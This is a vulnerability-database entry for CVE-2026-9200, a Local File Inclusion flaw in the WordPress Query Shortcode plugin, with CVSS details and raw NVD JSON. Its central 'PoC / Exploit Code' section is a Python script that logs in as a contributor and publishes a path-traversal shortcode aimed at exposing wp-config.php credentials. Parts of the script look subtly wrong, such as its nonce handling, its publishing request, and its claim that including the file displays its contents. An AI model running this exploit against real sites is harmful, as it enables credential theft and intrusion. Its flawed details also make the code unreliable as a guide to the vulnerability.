Security Vulnerability Report
中文
CVE-2026-9200 CVSS 7.5 HIGH

CVE-2026-9200

Published: 2026-05-27 07:16:19
Last Modified: 2026-05-27 14:50:48

Description

The Query Shortcode plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.2.1 via the shortcode function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Query Shortcode插件所有版本 <= 0.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9200 PoC - WordPress Query Shortcode LFI # Requires contributor+ level WordPress account import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_csrf_token(session, url): """Fetch CSRF token from login page""" response = session.get(f"{url}/wp-login.php") soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': '_wpnonce'}) return token['value'] if token else None def login_wordpress(session, username, password): """Authenticate to WordPress""" login_url = f"{TARGET_URL}/wp-login.php" csrf_token = get_csrf_token(session, TARGET_URL) payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', '_wpnonce': csrf_token, 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=payload) return 'wordpress_logged_in' in session.cookies.get_dict() def exploit_lfi(session): """Exploit LFI via shortcode to read wp-config.php""" post_url = f"{TARGET_URL}/wp-admin/post-new.php" # Get CSRF token for post creation response = session.get(post_url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': '_wpnonce'})['value'] # Malicious shortcode to include wp-config.php malicious_content = "[query-shortcode file='../../wp-config.php']" post_data = { 'post_title': 'LFI Exploit Test', 'content': malicious_content, '_wpnonce': csrf_token, 'publish': 'Publish' } response = session.post(post_url, data=post_data) return response.status_code == 200 def main(): session = requests.Session() if login_wordpress(session, USERNAME, PASSWORD): print("[+] Successfully authenticated") if exploit_lfi(session): print("[+] Malicious post created, LFI triggered") print("[+] Check the published post to view wp-config.php contents") else: print("[-] Authentication failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9200", "sourceIdentifier": "[email protected]", "published": "2026-05-27T07:16:19.157", "lastModified": "2026-05-27T14:50:47.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Query Shortcode plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.2.1 via the shortcode function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/query-shortcode/trunk/init.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/query-shortcode/trunk/init.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/query-shortcode/trunk/init.php#L97", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28df760b-6b15-41ca-b93f-9d24dbbd9fc4?source=cve", "source": "[email protected]"}]}}